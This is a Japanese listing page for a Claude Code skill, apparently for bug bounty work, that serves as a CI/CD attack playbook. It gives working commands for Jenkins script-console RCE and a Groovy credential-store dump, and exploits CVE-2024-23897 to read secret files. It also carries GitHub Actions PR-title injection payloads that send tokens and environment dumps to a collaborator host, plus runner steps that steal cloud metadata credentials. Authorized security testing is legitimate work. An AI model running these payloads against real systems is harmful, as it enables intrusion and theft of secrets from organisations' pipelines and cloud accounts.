mcpField
H
hunt-cicd

hunt-cicd

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

hunt-cicd について

hunt-cicdは、ペネトレーションテスターやバグバウンティ研究者向けのCI/CDセキュリティ調査スキルです。パイプラインインジェクション、シークレット漏えい、Runnerのリスク、Jenkinsの問題、Terraform状態ファイルの漏えいを調べ、報告前の影響確認を重視します。

主な機能

  1. 01JenkinsコンソールとCLIの確認
  2. 02GitHub Actionsのインジェクション分析
  3. 03セルフホストRunnerのリスク評価
  4. 04OIDC信頼ポリシーのレビュー
  5. 05CIログとアーティファクトのシークレット確認
  6. 06Terraform状態ファイルの露出検証

活用シーン

  1. 01pull_request_targetワークフローのレビュー
  2. 02Jenkinsの認証前アクセス確認
  3. 03公開リポジトリでのRunner動作の監査
  4. 04状態ファイルに含まれる認証情報の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-cicd

インストール後、Claude Code で/hunt-cicdを入力して読み込まれたか確認します。

詳細

HUNT-CICD — CI/CD パイプラインのセキュリティ

クラウンジュエルの標的

Jenkins の /script コンソールにアクセスできる場合、即座に RCE が可能です。GitHub Actions の pull_request_target(または workflow_run)ワークフローがPR の head refをチェックアウトし、信頼できない ${{ github.event.* }} をシェルの run: で参照している場合は、「Pwnrequest」となり、承認なしでフォーク PR からシークレットを窃取できます。

最も価値の高い発見:

  • Jenkins Script Console — Groovy の実行 → 完全な RCE → 認証情報ストアのダンプ
  • Jenkins CLI のファイル読み取り(CVE-2024-23897) — 認証前の @/etc/passwd 引数展開 → secret.key/credentials.xml の読み取り → 管理者の偽造 → RCE
  • GitHub Actions の pull_request_target インジェクション(Pwnrequest) — フォーク PR が、特権付きシェルステップ内の ${{ }} を制御 → GITHUB_TOKEN(多くの場合 contents:write)と組織のシークレットを窃取
  • セルフホストランナーの汚染 — 公開リポジトリ上の非エフェメラルなランナーがフォーク PR のビルドを実行 → 攻撃者のコードがランナーホスト上で実行 → 永続化とシークレットの窃取
  • OIDC 信頼ポリシーの悪用 — AWS IAM ロールの信頼ポリシーにある、過度に広範な sub クレームのワイルドカード → 組織内のあらゆるワークフローが特権クラウドロールを引き受ける
  • Terraform ステートの漏えい — 公開 S3/GCS/Blob 内の *.tfstate → インフラストラクチャの認証情報、DB パスワード、秘密鍵が平文で露出
  • ランナートークン/アーティファクト/ログの漏えい — 攻撃者のランナーを登録する、または ::add-mask:: の前に出力されたシークレットを収集する

「証拠なしに、起きたとは言えない」ゲート(最初に読む)

ダッシュボード上で悪用可能に見えるため、CI/CD に関する発見は過剰に報告されがちです。何かを報告する前に、次の点を確認してください。

  1. ログインページは RCE ではありません。 アクセス可能な /script URL が Jenkins のログイン画面または 403 を返す場合、認証不要のスクリプトコンソールではありません。scriptText への POST が実際にコマンドの出力を返した場合に限り、該当します。
  2. pull_request_target ワークフローは、自動的にインジェクション可能になるわけではありません。 信頼できないデータが実行シンクに流れ込む場合にのみ悪用可能です。PR を作成する前に、データフローを確認してください(FP セクションを参照)。
  3. ブラインドインジェクションには OOB による確認が必要です。 脆弱なステップの出力を読み取れない場合、Burp Collaborator/interactsh を使って必ず確認してください。ランナーから呼び出される、シンクごとに固有のサブドメインを使用します。ワークフローが「成功した」ことは、コードが実行された証拠にはなりません。
  4. .tfstate が HTTP 200 を返しても、解析するまでは認証情報の露出とは言えません。 ベースラインと比較してください(FP セクションを参照)。多くの tfstate ファイルにはリソース ID と出力しか含まれず、シークレットは含まれていません。

フェーズ 1 — Jenkins:検出、スクリプトコンソール、CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

認証不要のスクリプトコンソール → RCE(POST が出力を返す場合に限る):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

認証情報ストアのダンプ(Groovy は UI でマスクされるシークレットを復号します):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — Jenkins CLI 経由の認証前任意ファイル読み取り(args4j の @ ファイル展開。≤2.441/LTS ≤2.426.2 が影響を受けます)。匿名読み取りが可能な場合、secret.key と master.key を読み取って credentials.xml を復号するか、ユーザーの config.xml API トークンを読み取ることで、RCE にエスカレートできます。

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

検証:レスポンスには実際のファイル内容(root:x:0:0)が含まれている必要があります。漏えいした行を含まない一般的な「no such agent」というメッセージは、インスタンスにパッチが適用済みか、パスが間違っていることを意味します。これは発見事項ではありません。


フェーズ 2 — GitHub Actions:Pwnrequest、シェルへの ${{ }} の埋め込み、ランナーの汚染、OIDC

核心的な違い(誤った PoC の 90% が失敗するポイントです)

シンクのクラスは 2 つあり、それぞれ異なるペイロードが必要です。

  • ${{ }} による run: シェルへのテンプレート展開 — 式はシェルの実行前にスクリプトへ置換されるため、信頼できないフィールド内の改行、バッククォート、$(...) がそのままシェルコードになります。これが典型的なインジェクションです。
  • シェル内での環境変数の読み取り — GITHUB_TOKEN、secrets.X、および env: にマッピングされた値は、値が文字列そのものであるシェル変数です。これらを流出させるには echo/printenv を使い、決して cat $VAR を使わないでください(トークンを名前とするファイルを開こうとするため、何も出力されません)。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

${{ }} シンクを介した攻撃 — PR のタイトル(またはブランチ名、本文、ラベル、コミットメッセージなど、すべて攻撃者が制御できる値)を設定して echo を抜け出し、独自のコマンドを実行します。トークンの流出には cat ではなく printenv を使います。

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

複数行の YAML run: では、改行インジェクションのほうが簡潔です。

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

汚染されたチェックアウトを介した攻撃(${{ }} は不要) — pull_request_target が PR の head をチェックアウトし、その後、チェックアウトしたツリーからビルドスクリプトを実行したり、依存関係をインストールしたりする場合(make、悪意のある preinstall を含む npm ci、Makefile、PR 内の .github/ アクションなど)、ランナーが攻撃者のコードを直接実行します。任意のビルドフックに仕掛けます。

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

セルフホストランナーの汚染 — 公開リポジトリで pull_request/pull_request_target を使い、runs-on: self-hosted(またはカスタムラベル)を指定している場合、フォークからの PR のジョブが組織独自のホスト上で実行されます。エフェメラルでないランナーでは、ジョブ間でツールや認証情報が残存します。ジョブ内からランナーの ID とメタデータを読み取り、確認します。

- run: |
    whoami; hostname; id
    curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 --connect-timeout 2 http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ | base64 -w0)"

OIDC 信頼ポリシーの悪用 — configure-aws-credentials を介して OIDC で IAM ロールを引き受けるワークフローがあります。token.actions.githubusercontent.com:sub 条件が欠落している、または緩いワイルドカード(repo:ORG/*:*)を使っている信頼ポリシーでは、組織内の任意のワークフロー(悪意のあるワークフローをマージできる場合や、設定ミスのあるトリガーでフォークから実行する場合を含む)がそのロールを引き受けられます。ロールを調査します。

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

次に、影響を実証します。組織内で自分が制御するワークフローからロールを引き受け、aws sts get-caller-identity を実行して、特権ロールの ARN が返されることを確認します。

調査
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

PR を作成する前に、静的解析ツールで候補をトリアージします。gh extension install rhysd/actionlint を使うか、zizmor(pip install zizmor; zizmor .github/workflows/)を実行してください。テンプレートインジェクションや危険なチェックアウトのパターンを特定して警告します。


フェーズ 3 — ログとアーティファクト内のシークレット

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

actions/upload-artifact はシークレットをマスキングしない点に注意してください。env/debug という名前のアーティファクトは、直接漏えいするよくある例です。


フェーズ 4 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

登録トークンだけでは、検出事項にはなりません。そのインスタンスで、そのトークンを使って対象プロジェクトのパイプラインを実行するランナーを登録できる場合に限り、検出事項となります。自分が所有するエフェメラルランナーを登録し、ジョブのマスキングされた変数を取得して実証します。


フェーズ 5 — Terraform ステートの漏えい

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

誤検知の除外:id、arn、tags のみを列挙する tfstate は、シークレットの漏えいではありません。上記の jq を実行し、少なくとも 1 つの有効な認証情報(実際の password、private_key、RDS のマスターパスワード、またはローテーションされていないアクセスキー)があることを確認します。そのうえで、その認証情報を読み取り専用で使用して影響を実証します(aws sts get-caller-identity や、バナーを返す DB 接続など)。「ステートに認証情報がある」と主張するだけでは不十分です。


フェーズ 6 — ビルドアーティファクト/イメージの分析

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified を指定すると、trufflehog が実際に認証できた認証情報に絞り込まれます。報告前に、期限切れキーやサンプルキーによるノイズを除去するために使用してください。


裏付けのある参考事例(名称付き事例/CVE)

  • Pwnrequest/pull_request_target クラス — GitHub Security Lab(Jaroslav Lobačevski)、「Keeping your GitHub Actions and workflows secure: Untrusted input」。フォークからのPRによるシークレット窃取と、危険なチェックアウトパターンを最初に解説した記事です。
  • GitHub Actions のワークフローコマンドインジェクション — CVE-2020-15228 — set-env/add-path ワークフローコマンドにより、ログ出力から環境変数/PATHをインジェクションできました。この脆弱性を受けて、これらのコマンドは非推奨となり、$GITHUB_ENV へ移行しました。
  • Jenkins CLI の任意ファイル読み取り — CVE-2024-23897 — args4j による @ 接頭辞付きファイル展開(Jenkins ≤2.441/LTS ≤2.426.2)で、secret.key/credentials.xml を読み取り → 管理者権限を取得 → RCE に至ります。
  • Jenkins Stapler RCE — CVE-2018-1000861 — 動的ルーティングから groovy.lang.GroovyShell に到達します。古い Jenkins で、認証なしのスクリプト実行チェーンによく使われる手法です。
  • PortSwigger/Liam Galvin ほか — GitHub Actions のインジェクションシンク(タイトル/ブランチ/本文/ラベル)と、${{ }} を run に埋め込むテンプレート置換ベクトルに関する調査です。前述の actionlint/zizmor 検出ルールの基礎となっています。

(正確に出典を特定できるCVEと事例のみを記載しています。該当すると主張する前に、稼働中のバージョンがCVEの影響範囲に含まれることを確認してください。)


チェーン表

CI/CD の検出事項連鎖先影響
Jenkins の匿名スクリプトコンソール資格情報ストアをダンプ → クラウド/DB の資格情報を取得 → 横展開重大
Jenkins CLI のファイル読み取り(CVE-2024-23897)secret.key+credentials.xml を読み取り → 管理者を偽装 → RCE重大
Actions の ${{ }} インジェクション(Pwnrequest)printenv GITHUB_TOKEN/シークレット → 保護ブランチへプッシュ重大
セルフホストランナーの汚染ランナーホストでコード実行 → IMDS 資格情報を取得 → 永続化重大
OIDC の sub ワイルドカード任意の組織ワークフローから、権限の強いクラウドロールで AssumeRole重大
有効な資格情報を含む Terraform の状態インフラ/DB/API の資格情報を使用重大
GitLab ランナーの登録ランナーを登録 → パイプラインのシークレットを取得高/重大
イメージ/ログ/アーティファクト内のシークレット資格情報を直接使用高

検証の徹底(検出事項ごとに、報告前に実施)

  • Jenkins コンソール: scriptText POST が id の出力(uid=…(jenkins))を返すことを確認します。ログイン/SSO/Crowd ページが返された場合は、匿名アクセスではありません。リクエストとレスポンスのスクリーンショットを撮影してください。
  • CVE-2024-23897: レスポンスに実際の /etc/passwd の内容が含まれ、バージョンが影響範囲内であることを確認します。パッチ適用済みのインスタンスでは、漏えい行を含まないエラーが返されます。
  • Actions のインジェクション: まず、データがシンクに流れ込むことを確認します(FP セクション)。ブラインドステップの場合、ランナーの送信元IPを伴う Collaborator コールバックが必須です。トークンは printenv//proc/self/environ で窃取し、自分のエンドポイントでデコードしてください。cat $GITHUB_TOKEN は絶対に使用しないでください。
  • OIDC の悪用: 管理下のワークフローから aws sts get-caller-identity を実行し、権限の強いロール ARN が返されることを確認します。信頼ポリシーが寛容に見えるだけでは不十分です。
  • Terraform の状態: jq による抽出で1つ以上の有効なシークレットが得られ、読み取り専用の認証でそれを確認できることが必要です。ID/ARN のみが含まれる状態は検出事項になりません。
  • ランナートークン/イメージ/ログ: シークレットで認証できることを実証してください(trufflehog の --only-verified、または実際のAPI呼び出しを使用)。文字列を所持しているだけでは、影響を示したことになりません。
よくある誤検知の取り消し
  • /script がログインページを返す(認証が必要)ケースを「認証不要の RCE」と報告する。
  • pull_request_target が存在するものの、信頼できない入力がシンクに到達しない(例:github.actor に対する if: でのみ使用されている、またはワークフローで _target ではなく pull_request を使用している)。
  • すでに env: ブロック内でラップされ、シェル内で引用符に囲まれている ${{ }} の参照(推奨される安全なパターン)—インジェクションはできません。
  • リソースメタデータのみを含む .tfstate の 200 応答。
  • 保護されており、攻撃者がプッシュできない保護ブランチにのみ公開される GitLab 変数に対する、Trufflehog の「未検証」検出。
  • サンプルキーまたは期限切れのキーに対する Trufflehog の「未検証」検出。

深刻度: Jenkins コンソール/CVE-2024-23897/Actions のシークレット流出/ランナー汚染/OIDC ロールの引き受け/Terraform の有効な認証情報は Critical です。イメージ/ログ/アーティファクトに含まれるシークレットは、認証情報の権限範囲に応じて High/Critical です。


検証

このセルフテストを実行して、CI/CD の調査準備ができていることを確認します。

  1. .git 公開プローブ — Git のパス構文を確認します: PASS: git path syntax PASS: git HEAD path syntax

  2. GitHub Actions ワークフローの検出 — ワークフローパスを確認します: PASS: workflow path recognized

  3. Jenkinsfile の検出 — Jenkinsfile のパターンを確認します: PASS: Jenkinsfile pattern recognized

3 つすべてのテストで、CI/CD の調査準備ができていることを確認します。


落とし穴

  • オブジェクトにアクセスできない状態での .git/config の公開 — /.git/config の 200 応答はリポジトリに到達できることを示しますが、/.git/objects/ にアクセスできなければソースを抽出できません。両方のパスをテストしてください。
  • CI/CD ログからの漏えい — ビルドログにはシークレット(API キー、トークンなど)が含まれることがよくありますが、認証済みユーザーにしか表示されない場合があります。匿名アクセスと認証済みアクセスの両方をテストしてください。
  • 実行の証拠がないパイプラインインジェクション — パイプラインの YAML や Jenkinsfile にインジェクションしても、実行された証拠にはなりません。パイプラインで実際にコードが実行されたことを確認する必要があります。
  • GitHub Actions の workflow_dispatch — アクションに workflow_dispatch トリガーがある場合、API 経由でトリガーできます。トリガーが特定のブランチまたはユーザーに制限されているかテストしてください。
  • コンテナーレジストリの設定ミス — 公開されているコンテナーイメージには、ビルドシークレット、ソースコード、認証情報が含まれている可能性があります。必ずイメージをプルし、レイヤーを調査してください。
  • ビルド間のアーティファクト汚染 — ビルドアーティファクトがビルドごとに分離されずに保存されている場合、以前のビルドのアーティファクトが次のビルドに提供される可能性があります。
  • マスクされた CI/CD 変数 — heredoc 内でマスクされた変数をログに出力したり、Base64 エンコードしたりしても、漏えいします。マスキングを回避できる出力形式をテストしてください。

コメント